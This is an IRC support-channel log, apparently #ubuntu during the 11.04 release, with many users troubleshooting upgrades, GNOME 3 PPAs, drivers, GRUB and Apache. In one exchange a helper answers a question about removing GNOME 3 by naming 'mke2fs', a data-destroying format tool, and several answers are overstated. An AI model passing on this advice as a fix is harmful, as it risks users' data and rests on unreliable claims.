[13:36] <santhu1984> <bazhang> like what
[13:36] <Curly_Q> I have done the floppy disk install and USB and CD and HD. Cursarion needs to provide enough information to let us know how he will fix his problem.
[13:36] <bazhang> !players > santhu1984
[13:36] <ubottu> santhu1984, please see my private message
[13:36] <Cursarion> Curly_Q: I have two HDs. One of which has linux installed but when i bought a new pc i couldnt load up linux. Im going to use the old ext3 partition to extract the iso content and boot from it and install a new linux instalation on the other hard drive
[13:36] <Dr_Willis> Tongpow:  install compiz package perhaps? then try install/running ccsm.
[13:36] <ThaTJGreeN> @bazhang thats the only way I know
[13:36] <kim0|vacation> running 64bit Natty, can I force a ppa to install its 32bit packages ?
[13:37] <bruzer> Actually I can't copty paste as I'm on another laptop
[13:37] <gidorah_> hello, i have problems with installing opencv on ubuntu. here is the terminal output of make command: http://codepad.org/B9ijN98y . could anyone please help me?
[13:37] <Dr_Willis> Cursarion:  you could partiton the 2nd hd. to a little partition, use unetbootin - do a live install to the partiton from the iso file. boot that  partiton. then do a normal install to the rest of the HD. perhaps.
[13:37] <bazhang> kim0|vacation, that is an extraordinarily bad idea
[13:37] <Curly_Q> Cursarion now you are letting us know what you are really doing. Having two hard drives is different.
[13:37] <andeeeuk> does anyone know a good way to remove all of gnome3 after you have installed it?
[13:37] <kim0|vacation> bazhang: except when the ppa doesn't offer the packages I need in 64bits
[13:37] <andeeeuk> any help would be great
[13:37] <tyler87> question: how do you edit what indicators show or remove indicators from the panel in the new ubuntu?
[13:37] <pfifo> andeeeuk, you have to reinstall ubuntu
[13:38] <Cursarion> hm, yeah, I didn't mention there's two of them
[13:38] <kim0|vacation> bazhang: 64bit natty, should be able to run 32bit apps too eh?
[13:38] <tjiggi_fo> bruzer, just tell me the name of the driver
[13:38] <andeeeuk> reinstall it from iso?
[13:38] <Cursarion> thanks Dr_Willis, Curly_Q & others
[13:38] <mattyh88> hey, i'm trying to install apache2
[13:38] <pfifo> andeeeuk, yes, nothing short of formatting will remove gnome3
[13:38] <andeeeuk> pfifo you mean reinstall from cd?
[13:38] <mattyh88> but not sure if i installed it properly
[13:38] <bazhang> kim0|vacation, no idea. PPA are completely unsupported. what you propose is risk piled on top of risk
[13:38] <ForceDestroyer> When I start a program that should have a GUI, and no window appears... what change to 11.4 might cause this? I started it with a shell script, just ./bin/64/program in there... it's now running but invisible -_-
[13:39] <santhu1984> <bazhang> i ve upgraded ubuntu 10.10 to 11.04 and upgrading failed in between and i am not able to access my terminal and lost all most all functions
[13:39] <mattyh88> i went to the synaptic package manager and checked 'apache' and i think i installed it, but i can't find it at /etc/apache
[13:39] <Curly_Q> Cursarian,  SATA or IDE?
[13:39] <andeeeuk> oh ok thanks, I have been having problems all morning as i installed gnome3. Now I am not able to update or install anything
[13:39] <ubuntu> i can use unity but i am not able to use once install hardware drivers?
[13:39] <Stereocaulon> Incarus6, http://paste.ubuntu.com/601312/
[13:39] <andeeeuk> all dependancy issues have crept in :s
[13:39] <sl33k_> Dr_Willlis: can vbox be used for hardcore computations?
[13:39] <BlouBlou> ubuntu: nvidia ones?
[13:39] <santhu1984> <bazhang> how to solve that issue?
[13:40] <ubuntu> ATI
[13:40] <omichalek> my boot time is terribly slow, several mintes of black screen after grub before splash appears please help
[13:40] <bruzer> broadcom b43
[13:40] <andeeeuk> really quite shocking i would not recomend anyone install gnome3
[13:40] <sl33k_> Dr_Willis:  can vbox be used for hardcore computations?
[13:40] <Stereocaulon> Incarus6, "Vereisten" = "Dependencies"
[13:40] <dr0id> how do you empty a file from the terminal ?
[13:40] <andeeeuk> not worth the hastle, you would have to reinstall everything?
[13:40] <jaidotsh> bye
[13:40] <MaxFrames> hello
[13:40] <ThaTJGreeN> hi
[13:40] <tjiggi_fo> bruzer, and what are the values of "Broadcast" and "Multicast"?
[13:41] <andeeeuk> pfifo can you remove gnome 3 in command line?
[13:41] <MaxFrames> I have a netbook with an internal ssd hdd and an sd card, winxp is on the hdd while ubuntu + grub are on the sd card
[13:41] <andeeeuk> to remove everything?
[13:41] <Incarus6> Stereocaulon, and the main.log
[13:41] <pfifo> andeeeuk, yeah, "mke2fs"
[13:41] <omichalek> dr0id: do you want to remove the file?
[13:41] <bruzer> forgive me, kind of new to linux, how do I get that?
[13:41] <MaxFrames> the sd card is set to boot first, so when I turn the netbook on with the sd card inserted, I get grub
[13:41] <santhu1984> can any one help me
[13:41] <dr0id> no just clear content
[13:41] <dr0id> $ > filename worked, but not sure why/how :/
[13:41] <ForceDestroyer> Okay, I have no idea what I'm doing and a work-critical machine is pretty much failing, is there a clean way to downgrade, aka revert the update to 11.4?
[13:41] <MaxFrames> if I boot the netbook w/o the sd card, winxp boots (no grub)
[13:42] <Stereocaulon> Incarus6, sure, I'll pastebin that one seperately
[13:42] <bazhang> ForceDestroyer, full reinstall is the only way
[13:42] <MaxFrames> now I want to remove grub from the sd card; how do I go about doing that?
[13:42] <tjiggi_fo> bruzer, it's all in the output of the -C Network command I asked you to run
[13:42] <omichalek> dr0id: sorry can't help
[13:42] <andeeeuk> pfifo, whats that?
[13:42] <ThaTJGreeN> dose anyone know if there is an android app to control ubuntu's desktop??
[13:42] <lxuser> good morning all, I get an error when trying to remove someone or something from my buddy list that I rejected to add. it says, "Are you sure you want to delete brennanhgd@wiredmail.info from your contacts?" and then says, "User could not be removed: Server was unable to read request. ---> There is an error in XML document (4, 173). ---> Guid should contain 32 digits with 4 dashes (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)." Help please.
[13:42] <Sidewinder1> ask > santhu1984
[13:42] <bruzer> ok, hold on
[13:43] <pfifo> andeeeuk, it is a program used to format a harddrive partition from the cli
[13:43] <santhu1984> <Sidewinder1> i ve upgraded ubuntu 10.10 to 11.04 and upgrading failed in between and i am not able to access my terminal and lost all most all functions
[13:43] <andeeeuk> oh ok well i wouldnt want to do that while i am working on it
[13:43] <Stereocaulon> Incarus6, http://paste.ubuntu.com/601313/
[13:43] <zcot> hi guys. good place for 10.10 server LAMP/FTP permission problems?
[13:43] <Stereocaulon> Incarus6, thanks in advance for lending a hand :-)
[13:43] <pfifo> andeeeuk, it works well from a livecd
[13:43] <andeeeuk> there is no way other than formatting the HD?
[13:44] <Sidewinder1> santhu1984, Can you boot to live CD and look around from there?
[13:44] <haqzor7> Hey is ubuntu 11.04 worth it?
[13:44] <lol> In my opinion no.
[13:44] <ubuntu> Hi i can use unity desktop even after installation but not able to get gui once i installed ATI graphics card driver ?
[13:44] <andeeeuk> pfifo well i will right over this intsall straight with 11.04
[13:44] <pfifo> andeeeuk, no, its not possible, gnome3 replaces gnome2 stuff, you can never go back
[13:44] <ubuntu> is that require really a graphics card ?
[13:44] <santhu1984> <Sidewinder1> i am not having cd right now
[13:44] <ThaTJGreeN> @haqzor7 yes it is
[13:44] <MaxFrames> knock knock
[13:45] <ThaTJGreeN> who's there
[13:45] <lol> @ubuntu correct you will need the drivers to enable unity.  ^^
[13:45] <MaxFrames> a guy looking for help about removing grub :P
[13:45] <andeeeuk> yeah, that why i will reinstall everything over this install
[13:45] <andeeeuk> format and everything
[13:45] <Incarus6> Stereocaulon, ok, I see. Is that dutch? pls run "sudo dpkg --configure -a"
[13:45] <Asad2005> i am getting WARNING **: Liferea seems to be running already under unity but i dont see it visible i tried alt-tab not in the list
[13:45] <haqzor7> @MaxFrames I found a site where you can do that!
[13:45] <Sidewinder1> santhu1984, What about booting to Recovery Mode
[13:45] <MaxFrames> haqzor7: "a site"?
[13:46] <ubuntu> unity is working fine before driver installation
[13:46] <haqzor7> Yea you go to the website, and it explains everything for you
[13:46] <omichalek> please help, my boot time is terribly slow, several mintes of black screen after grub before splash appears
[13:46] <omichalek> what can i do?
[13:46] <Curly_Q> Dr_Willis thanks for the advice. I always appreciate your input. Good man.
[13:46] <MaxFrames> sweet
[13:46] <Stereocaulon> Incarus6, yes, that's Dutch, kinda silly that the logging is translated ;-)
[13:46] <pfifo> andeeeuk, installing ubuntu over a previous ubuntu with gnome3 will yeild undefined results, approach with caution
[13:46] <andeeeuk> i really dont know why there were no warning when upgrading to gnome3 shocking really
[13:46] <santhu1984> <Sidewinder1> i am trying from that only
[13:46] <pfifo> !gnome3 | andeee
[13:46] <ubottu> andeee: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[13:46] <sl33k_> is amd64 64 bit os?
[13:46] <MaxFrames> so first of all; it's done from linux I guess, not from windows?
[13:46] <santhu1984> <Sidewinder1> how to get back my terminal
[13:46] <pfifo> andeeeuk, "safe downgrading is not possible."
[13:46] <lol> Does anyone even like unity?
[13:46] <Incarus6> Stereocaulon, yeah, I allways have to translate things here, if I got a question ;) and pls paste the results of that command
[13:47] <Stereocaulon> Incarus6, I've run your somewhat ominous command O_o
[13:47] <haqzor7> @MaxFrames http://www.sorgonet.com/linux/grubrestore
[13:47] <BlouBlou> yes
[13:47] <andeeeuk> why would that be? the drive would be completely formatted before reinstalling
[13:47] <Sidewinder1> santhu1984, Well, as I'm sure you're aware, if all else fails, you may need to clean install.. :-(
[13:47] <bazhang> lol #ubuntu-offtopic for chit chat
[13:47] <andeeeuk> no downgrade just a reinstall
[13:47] <Stereocaulon> Incarus6, there were no results, just a new cmd prompt
[13:47] <MaxFrames> ok thx
[13:48] <bruzer> both yes
[13:48] <lxuser> <omichalek> when the boot list comes up, hit "recovery mode" there is an option to update Grub, try that.
[13:48] <santhu1984> <Sidewinder1>is der any way to get back to earlier version
[13:48] <omichalek> lxuser: thank you, going to do that!
[13:48] <bazhang> santhu1984, full reinstall
[13:48] <lxuser> ok good luck
[13:48] <Incarus6> Stereocaulon, lets concentrate on the packages mentioned in main.log at the end (> line 169)
[13:48] <andeeeuk> really disappointed though tbh!! my system was stable with everything i needed
[13:49] <tjiggi_fo> bruzer, and the driver listed in that output is the b43 you mentioned?
[13:49] <pfifo> andeeeuk, PPA's are sometimes a bad idea
[13:49] <Incarus6> Stereocaulon, try "sudo dpkg-reconfigure python"
[13:49] <Sidewinder1> santhu1984, You can always reinstall the older version, but you'll loose all of your data; unless you had/have a separate home directory.
[13:49] <BlouBlou> pfifo: are usually bad idea :P
[13:49] <andeeeuk> lol
[13:49] <bruzer> yes
[13:49] <andeeeuk> thanks
[13:49] <santhu1984> <Sidewinder1> how to save my data
[13:50] <Sidewinder1> santhu1984, On a separate partition.
[13:50] <santhu1984> ok
[13:50] <Incarus6> Stereocaulon, btw it's not safe to reboot. the TTYs will work, but not the nvidia driver nor metacity
[13:50] <sl33k_> does this install get dual booted on startup http://www.ubuntu.com/download/ubuntu/download ?
[13:50] <mattyh88> how can i know for sure that apache2 is installed?
[13:50] <santhu1984> <Sidewinder1> is der any way to upgrade to latest version again
[13:50] <mattyh88> should apache -v normally work?
[13:50] <Stereocaulon> Incarus6, I've executed the reconfig python line, no feedback from the cmd-line | Thx for the warning not to reboot :-)
[13:51] <iceroot> mattyh88: dpkg -l apache
[13:51] <Incarus6> sl33k_, depending on your settings durin installation
[13:51] <iceroot> mattyh88: dpkg -l apache2
[13:51] <Sidewinder1> santhu1984, You need to aquire a Live CD, boot to it then save your data to an external drive or another partition.
[13:51] <sl33k_> Incaus6: so yes?
[13:51] <iceroot> mattyh88: if the line starts with ii, its installed
[13:51] <santhu1984> <Sidewinder1>ok
[13:51] <Mahjongg> hello, how do you get the system preferences user preferences menus in unity?
[13:51] <santhu1984> <Sidewinder1> how can i use itunes s/w on ubuntu
[13:51] <Stereocaulon> Incarus6, could we please join a priv. channel?, the chatter makes it hard to follow your responses
[13:52] <iceroot> mattyh88: and the binary is called apache2 not apache
[13:52] <bazhang> santhu1984, you cannot, as I said
[13:52] <sl33k_> Incarus6: so theres an option?
[13:52] <iceroot> !ipod | santhu1984
[13:52] <ubottu> santhu1984: For information on how to sync and add tracks to your iPod, see the guide at https://help.ubuntu.com/community/IPodHowto - For the iPhone and the iPod Touch, see https://help.ubuntu.com/community/PortableDevices/iPhone - See !RockBox for information on liberating your iPod
[13:52] <tjiggi_fo> bruzer, run: ifconfig     and tell me which device (eg "wlan0) has more than zero RX packets
[13:52] <Sidewinder1> santhu1984, I know absolutely nothing about itunes; I wouldn't touch it, sorry. :-)
[13:53] <e75> tyler87
[13:53] <Incarus6> sl33k_, of course, when you're partitioning your disk you can select if you want to remove ther other os's or if you want to have dualboot
[13:53] <bruzer> lo
[13:53] <tyler87> can i edit the appmenu any? i dont like the empathy and evolution indicators being there.
[13:54] <Dr_Willis> Mahjongg:  menu item whenb you click on the power button at top right
[13:54] <hihihi100> im upgrading to 11.04, its been like that for the last 24 hours. Yesterday, 12 hours ago, there were just 9 minutes left to download the files. 2 minutea go, I discover that the upgrader is starting to install, STARTING, not in the middle of installing or the end, but the BEGINNING; less than 5%. WTF is wrong with my machine?
[13:55] <Ignatus> so, I still can't run unity on my laptop, fresh install natty gm. Additional drivers window says "This driver is activated, but not in use" regarding Nvidia current. any workarounds?
[13:55] <pfifo> hihihi100, upgrading is problematic, do a fresh install
[13:55] <hihihi100> fuck
[13:55] <tjiggi_fo> bruzer, ok, one of the others should also be showing packet throughput
[13:55] <Mahjongg> Dr_Willis, that only takes me to power preferences?
[13:55] <pfifo> hihihi100, ikr
[13:55] <LjL> !language | hihihi100
[13:55] <ubottu> hihihi100: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[13:55] <bazhang> hihihi100, no cursing
[13:55] <mattyh88> iceroot: no packages found matching apache2
[13:56] <tjiggi_fo> bruzer, what other devices (other than lo) are listed?
[13:56] <bruzer> no
[13:56] <hihihi100> a, the always welcomed political correctness...
[13:56] <alienkid10> I have Ubuntu installed on an exteral HDD since 10.04 I've upgraded to 10.10 when it came out and ran the upgrade to 11.04 yesterday. It stopped listening to my wireless KB/mouse (logitech) near the end of the upgrade but rebooted itself. I then tried to boot into 11.04 and I press enter to boot the defualt Kernel it looks like it's booting but my external shuts off before it can (seemingly) do anything. I can'r see the bootsplas
[13:56] <mattyh88> iceroot: i do have some files installed @ /usr/lib/apache2
[13:56] <bruzer> wlan0 andeth0
[13:56] <sl33k_> Incarus6: i just found i have a 10.04 i386 .iso file. burning is required to install?
[13:57] <pfifo> hihihi100, if you really want to stan a chance of upgrading you have to keep your system uptodate and ease into the alphas and betas
[13:57] <bblz> I just installed Natty for the first time and jockey tells me that the NVIDIA accelerated graphics driver (version current) [Recommended] is "activated but not currently in use". 'Sup?
[13:57] <bblz> GTX 470 if it matters.
[13:57] <tjiggi_fo> bruzer, and you don't have an ethernet cable plugged in do you?
[13:57] <Mahjongg> hello, how do you get the system preferences user preferences menus in unity?
[13:57] <Incarus6> sl33k_, there should be a live mode on that cd
[13:57] <bruzer> No
[13:57] <step21> alienkid10, what connection?
[13:57] <hihihi100> i believe my system was up to date: before installing 11-04 i updated everything that needed to be updated
[13:57] <alienkid10> step21: USB2.0
[13:58] <tyler87> is it possible to resize a logical partition container with the free unallocated space being in front of it on the partition table?
[13:58] <Ignatus> bblz; got the same problem here. it was working fine under maverick for me
[13:58] <bblz> ditto Ignatus
[13:58] <marlen_jon> Is there a system of voice recognition which I can use to link a function to a command that was called by voice?
[13:58] <pfifo> hihihi100, no, you would have needed to go from 10.10 to 11.04 alpha a few months ago
[13:58] <hihihi100> can anyone share how much time they have needed to upgrade?
[13:58] <tjiggi_fo> bruzer, run: ifconfig wlan0
[13:58] <sl33k_> Incarus6: dont know about live mode, could you expand? i have always used wubi
[13:58] <sandhu> pl tell me is there any movie maker for ubuntu
[13:58] <hihihi100> pfifo, a, ok
[13:58] <Toph> hihihi100,,, mone took about 5 hours
[13:59] <tyler87> hihihi100, it took me about 2 hours
[13:59] <Sidewinder1> tyler87, I believe there is. Chech this out...
[13:59] <Incarus6> !live | sl33k_
[13:59] <ubottu> sl33k_: The Ubuntu Desktop CD is a "LiveCD" which can be run without altering existing files on your harddrive. Especially useful for testing your hardware's compatibility, it also includes an install option.
[13:59] <sl33k_> Incarus6: i would prefer wubu but it is bandwidth eating :(
[13:59] <bruzer> ok
[13:59] <alienkid10> hihihi100: about 1hr 30mins but I used the alternative install CD to upgrade and ethernet
[13:59] <hihihi100> did you use the alpha, as pfifo just said?
[13:59] <sandhu> pl tell me is there any movie maker for ubuntu
[13:59] <Sidewinder1> !partitioning > tyler87
[13:59] <ubottu> tyler87, please see my private message
[13:59] <alienkid10> hihihi100: no
[14:00] <tjiggi_fo> bruzer, still nothing?
[14:00] <pfifo> hihihi100, no, not this time, i ws wrapped up in a project and didnt want to deal with bugs
[14:00] <bazhang> sandhu, sure, check in the ubuntu software center for some
[14:00] <hihihi100> alienkid16, so, download it as ISO, burn a cd and fresh install it?
[14:00] <tyler87> i already know about partitioning for new installs and such
[14:00] <LjL> sandhu: cinelerra, avidemux, stopmotion, blender, lives, openmovieeditor, jahshaka, openshot  —  GNOME: pitivi, kino  —  KDE: kdenlive  —  console: gopchop, avidemux-cli
[14:00] <sl33k_> Incarus6: thanks for the help
[14:00] <Datz> hi, is there a way to upgrade to 11.04 without unity, more of a minimal upgrade?
[14:00] <Incarus6> sl33k_, you're welcome
[14:00] <alienkid10> step21: I know it's Ubuntu shutting it off becuase the lights are on all through the boot untill I 4 seconds after I press the kernel then it goes a blank screen with a blinking cursor and my ext-HDD shutrs off
[14:00] <hihihi100> alienkid10, so, download it as ISO, burn a cd and fresh install it?
[14:00] <pfifo> 1minimal | Datz
[14:01] <tyler87> and i know with primary partitions you cant resize if the unallocated space is at the front of the partition table. but i dont know about logical containers
[14:01] <MeanEYE> Datz: upgrade, logout and login to gnome classic session
[14:01] <pfifo> !minimal | Datz
[14:01] <ubottu> Datz: The Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD
[14:01] <alienkid10> hihihi100: no
[14:01] <sandhu> pl  give  me any url
[14:01] <trailoryo> chose to run ubuntu classic in login screen
[14:01] <bazhang> Datz, apart from the obvious choosing gnome classic from login?
[14:01] <alienkid10> hihihi100: download the alternative CD iso burn it and put it in your running system
[14:01] <bazhang> sandhu, in the ubuntu software center
[14:01] <Datz> bazhang: yes?
[14:01] <bazhang> !software > sandhu
[14:01] <ubottu> sandhu, please see my private message
[14:01] <marlen_jon> Is there a system of voice recognition which I can use to link a function to a command that was called by voice?
[14:02] <Sidewinder1> tyler87, Then just use a partitioning tool (gparted, perhaps) to combine the two.
[14:02] <alienkid10> hihihi100: run upgradefromcdrom that is on the CD if it doesn't start automatically
[14:02] <Datz> I don't know how large the Unity package is, but I'd like to avoid downloading it, during the upgrade
[14:02] <alienkid10> Datz: use the alternative CD uppgrade
[14:02] <step21> alienkid10, but this could also be self-shut down because of inactivity. I would boot from livecd and check the grub settings
[14:02] <Sidewinder1> tyler87, Back up everything FIRST!
[14:03] <Datz> alienkid10: ah, ok I'll look into that, thanks
[14:03] <alienkid10> step21: I turned self shutdown off. But what settings do you want me to check?
[14:03] <zcot> on home webdevelopment server, I set apache to just use /home/zcot/www/ because i have ftp access there and I don't know any better , but apache is serving 403 forbidden.
[14:03] <LjL> !info gnome-voice-control | marlen_jon
[14:03] <ubottu> marlen_jon: gnome-voice-control (source: gnome-voice-control): speech recognizing applet to control the GNOME Desktop. In component universe, is optional. Version 0.4really0.2-0ubuntu2 (natty), package size 32 kB, installed size 208 kB
[14:03] <pfifo> zcot, apache2 runs as the use www-data and cannot read those files due to permissions
[14:03] <trailoryo> anyone got problems playing .mkv in vlc? 720 or 1080.. it lags for me ;|
[14:03] <marlen_jon> ubottu: Is it possible to perform this linking I was talking about?
[14:03] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[14:03] <tyler87> Sidewinder1, heh yeah. i still need to make a live o.s.. i was just wondering if it was possible to resize an entire container with the space in front of it before i go about trying to get everything ready
[14:04] <tyler87> Sidewinder1, thanks for the information
[14:04] <bazhang> trailoryo, not really, though mplayer does play them more smoothly imo
[14:04] <zcot> pfifo : can/should i set that directory to be owned by apache user or something? but I still need ftp access.
[14:04] <marlen_jon> LjL: Is it possible to perform this linking I was talking about?
[14:04] <LjL> marlen_jon: i am not sure
[14:04] <trailoryo> Thanks i
[14:04] <step21> alienkid10, https://help.ubuntu.com/community/BootFromUSB 'Booting via usb' and then check if in /boot/grub/grub.conf the right drive is entered. or you could try it on the grub command line
[14:05] <dibs> Incarus6: I tried removing and reinstalling where needed to all those files with no thirdparty repos available. Trying upgrade again now
[14:05] <Sidewinder1> tyler87, Like I said, I think you should be able to do that with extended/logical partitions; just back up...
[14:05] <marlen_jon> THanks
[14:05] <omichalek> lxuser are you here?
[14:05] <pfifo> zcot, you can change ownership or change permissions, either will work
[14:05] <andeeeuk> does anyone know a fast mirror for 11.04?
[14:05] <jlamothe> Anyone else having problems with GNUcash under 11.04?
[14:05] <Incarus6> dibs, don't forget to reinstall "ubuntu-desktop" to match all dependencies
[14:05] <step21> alienkid10, I think it is most likely that grub passes the wrong root to the kernel or doesn't find the kernel
[14:05] <Sidewinder1> tyler87, You're more than welcome.
[14:05] <Sik> So for the Nth time in the day I tried to fix the graphics, but no matter what I do I'm completely unable to boot at all in normal mode. I have to go into safe mode for 11.04 to boot. Help?
[14:05] <alienkid10> step21: I know GRUB is using UUID to boot the drive or at least it was in 10.10
[14:06] <idefix> my keypad numerals don't work anymore, I tried two different keyboard, with both it doesn't work, what could be the problem?
[14:06] <pfifo> idefix, try pressing shift + numlock
[14:06] <dibs> Incarus6: will do if it fails
[14:07] <step21> alienkid10, yeah I know, but it doesn't seem to work. it's just that if it shuts down that quickly this is most likely. otherwise boot into livecd and look at syslog for errors
[14:07] <zcot> pfifo : ok thank you, i will try. (is this a good chan for server stuff?)
[14:07] <Eduard> guys, is nvidia-96 fixed in 11.04?
[14:07] <andeeeuk> anyone know a fast mirror to download 11.04 as the ubuntu website is v slow?
[14:07] <Incarus6> dibs, roger, and before you restart
[14:07] <andeeeuk> :)
[14:07] <bazhang> zcot, there is also #ubuntu-server
[14:07] <idefix> with the shift button the numerals work
[14:07] <alienkid10> step21: will do
[14:07] <pfifo> zcot, depends on what you want really, theres #ubuntu-server as well
[14:07] <jlamothe> andeeeuk: Have you tried the torrent?
[14:07] <bazhang> andeeeuk, thats relative; what region
[14:08] <idefix> pfifo how did you know this?
[14:08] <andeeeuk> south uk
[14:08] <andeeeuk> i have not tried a torrent
[14:08] <step21> alienkid10, just make sure it's the one of the installed system, not the livecd's ;)
[14:08] <bazhang> perhaps .fr
[14:08] <wombatunder> Can someone please private chat me for some very basic ubuntu help?
[14:08] <jlamothe> andeeeuk: That's the route I went.
[14:08] <zcot> excellent thank you guys.
[14:08] <bazhang> wombatunder, ask here
[14:08] <pfifo> idefix, i dont know
[14:08] <andeeeuk> ok cheers
[14:08] <Eduard> is nvidia-96 driver working in 11.04?
[14:08] <jlamothe> andeeeuk: The nice thing about torrents is that the more popular they are, the more seeders thare are and the faster they run.
[14:08] <marlen_jon> Eduard: Yes
[14:08] <terry> wombatunder: See my pm
[14:09] <andeeeuk> yeah def
[14:09] <Eduard> marlen_jon: broken deps bug was fixeD?
[14:10] <alienkid10> step21: yeah. Here's how I get to GRUB BTW: boot computer NTLDR>pick "Ubuntu Linux" and GRUB4DOS boots boot.img on the ext4 partition on my external HDD GRUB on Ubuntu appears and lets me pick what to do.
[14:10] <marlen_jon> Eduard: Not sure though but I remember a simliar question from one of the members here which was eventually solved successfuly.
[14:10] <_emily> FloodBot3 ``
[14:10] <alienkid10> step21: so look for what in my grub.conf?
[14:10] <lavanyadeepak> Is there a way I upgrade Ubuntu 10.04 to 11.04 using a CD?
[14:10] <bazhang> _emily, its a bot
[14:10] <_emily> i know
[14:10] <Eduard> marlen_jon: ok, thanks. I will try a clean install now
[14:11] <bazhang> lavanyadeepak, there is no way possible to do that, cd or not
[14:11] <lavanyadeepak> The computer that I am intending to upgrade does not have a fast Internet connection
[14:11] <Osmodivs> Ok, so I was upgrading from the terminal, i pressed D to see the details of what packages where going to be removed, then at the end of the page says: END, but nothing happens if I press enter, How do i continue with the proces of upgrading?
[14:11] <CQ> lavanyadeepak: put in the CD and change the source, but you have to go through 10.10, can't do it directly
[14:11] <step21> alienkid10, if the drives match up. you can compar with the output of 'sudo blkid' I think.
[14:11] <bazhang> lavanyadeepak, unless you want to do a full reinstall
[14:11] <pfifo> Osmodivs, try pressing Q
[14:11] <lavanyadeepak> That is why I need to grab Ubuntu 11.04 ona difference computer and then put it on this one
[14:11] <hxing> ubuntu 1104 is awesome , in 3d
[14:11] <Flynsarmy> Anyone know how to access a windows pc that doesn't have a password via samba?
[14:12] <isarl> hi all; after my recent update to 11.04 from 10.10, I have no GUI, but I do have a virtual terminal.  I can run commands to diagnose and repair the problem, but I'm not sure what those commands are.  Any help?
[14:12] <Osmodivs> pfifo, it worked. THX!!
[14:12] <Eduard> isarl: are u using xorg.conf
[14:12] <jrib> !samba | Flynsarmy
[14:12] <ubottu> Flynsarmy: Samba is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and https://help.ubuntu.com/10.04/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT.
[14:12] <alienkid10> step21: ok so the root should be the ext4 partition on my external HDD. (which should be hd1,1 or if GRUB2 starts from 1 then hd2,2)
[14:12] <lavanyadeepak> I have another issue with my Ubuntu 10.10
[14:12] <step21> alienkid10, yeah ...
[14:12] <sandhu> pl tell me we can give password to external harddisk and how
[14:13] <isarl> Eduard:  I think so..?  There is a file at /etc/X11/xorg.conf
[14:13] <lavanyadeepak> When I start Remote Desktop Viewer and when it is about to connect to remote host, the screen logs out
[14:13] <bazhang> sandhu, password?
[14:13] <lavanyadeepak> and comes to the login screen
[14:13] <comcomist> i have prob with apt-get upgrade on linux-headers-2.6.35-28-generic, see http://paste.ubuntu.com/598867/ This prob blocks me from any upgrading for the last 2 weeks, can not report bug so i report it here
[14:13] <step21> alienkid10, about the grub4dos combo, I'm not really sure if it could cause errors. should be fine if you get to normal grub I guess.
[14:13] <alienkid10> step21: I'll log back into IRC from a Live CD and tell you what I find.
[14:13] <sandhu> yes password to open external harddisk
[14:13] <step21> alienkid10, okay
[14:13] <Toph> i've lost the activity panel at the bottom of my screen. How do I restore it?
[14:13] <ouyes> hello, I will get a thinkpad x201,but I do not know which version of ubuntu I should install into the box  10.04 10.10 11.04?
[14:13] <Sidewinder1> lavanyadeepak, I believe that you'll have to update version by version to go from 10.04 to 11.04.
[14:13] <Eduard> isarl: remove xorg.conf. remove your drivers(nvidia or ati)
[14:13] <Dr_Willis> sandhu:  perhaps its asking for the sudo password to mount them
[14:14] <Eduard> isarl: then enable nouveau
[14:14] <pfifo> sandGorgon, look into using gpg encryption
[14:14] <Flynsarmy> jrib: neither of those have the info i asked for
[14:14] <hxing> somebody wanna talk with me ?
[14:14] <pfifo> sandhu, , look into using gpg encryption
[14:14] <pfifo> sandGorgon, disregard that
[14:14] <Eduard> isarl: it should get you graphics back
[14:14] <bazhang> hxing, #ubuntu-offtopic for chat NOT here
[14:14]  * jrib sighs
[14:14] <isarl> Eduard: renaming xorg.conf to something like xorg.conf.bkp would be okay? And I remove the drivers through apt-get, right?
[14:14] <isarl> Eduard: Never heard of nouveau before, though.
[14:14] <lavanyadeepak> Why does Ubuntu log me out frequently when I start remote desktop?
[14:15] <jrib> Flynsarmy: so you tried to mount the share using cifs and the options on the wiki (including "guest")?  What was the result?
[14:15] <Vardan> hi all
[14:15] <Eduard> isarl: renaming would be okay. Driver remove through apt-get. Though i am not sure how to enable nouveau back, after propeartry driver has been installed. Wait a sec.
[14:16] <vagvaf> hello guys, is there any way to install packages using apt to my /home folder ?
[14:16] <Eduard> isarl: can you access /etc/modprobe.d with nano?
[14:16] <becky> I upgraded to 11.04 last night, and now I can't log in through X.  can log in via command line fine.  when I try to log in through X it looks like it's logging in then just brings back the login screen again.  an additional account does not have this problem
[14:16] <Mahjongg> hello, how do you get the system preferences user preferences menus in unity?
[14:16] <isarl> Eduard: I can do it with vim..!  :P
[14:16] <Flynsarmy> jrib: i didn't - but neither page have anything to do with no passwords on the windows side. the first one of the two mentions CIFS but nothing about the passwords
[14:16] <Eduard> becky: check xorg logs
[14:16] <KaneuA> Hello, everyone!
[14:16] <jrib> Flynsarmy: "guest indicates you don't need a password to access the share, "
[14:16] <isarl> Eduard: /etc/modprobe.d is a directory.
[14:17] <Flynsarmy> jrib: yup just spotted it. i thought that was for mounting one without a password, not accessing one. thanks
[14:17] <becky> Edgan, looking at them now.  doesn't mean a huge amount to me though.  what am I looking for specifically?
[14:17] <Eduard> isarl: what file are in directory?
[14:17] <jrib> Flynsarmy: no problem
[14:18] <Eduard> isarl: nvidia.conf is present?
[14:18] <isarl> Eduard: no, there's no nvidia.conf
[14:18] <isarl> Eduard: although I am using nvidia
[14:18] <Toph> becky,,, i'm having the same problem,, it seems like Unity is crashing in my case
[14:18] <trailoryo> How do I hotkey different workspaces?
[14:18] <Eduard> isarl: how much files do you have in this directory?
[14:19] <step21> becky, can you just not log into unity? try another desktop environment (bar at the bottom on login) and check if that works
[14:19] <isarl> Eduard: 11 files
[14:19] <Sik> I'm using 11.04, and I'm completely unable to boot Ubuntu now unless I go into safe mode. Seems to be an issue with graphics, but messing with the drivers (already tried all the available ones!) doesn't work at all :/
[14:19] <becky> Toph, ah Unity.  my gnome setup is heavily modified
[14:19] <isarl> Eduard: most match "blacklist-*.conf"
[14:19] <Eduard> isarl: one of these files should contain a line 'blacklist nouveau'
[14:19] <trailoryo> How do I hotkey different workspaces? please PM me the answer if u got one, Im headed out right about Now Lol =)
